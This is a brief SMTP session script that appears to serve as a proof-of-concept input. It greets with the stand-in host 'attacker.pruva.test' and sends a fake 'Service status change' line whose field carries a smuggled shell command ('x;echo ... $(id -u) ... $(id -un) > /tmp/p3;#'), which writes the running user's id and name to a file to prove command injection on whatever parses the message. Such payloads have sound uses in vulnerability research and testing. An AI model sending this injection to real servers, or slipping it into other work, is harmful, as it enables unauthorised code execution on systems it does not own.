EHLO attacker.pruva.test
VRFY aa
: Service status change: h x;echo f2:u$(id -u):n$(id -un)>/tmp/p3;# changed from stopped to running
QUIT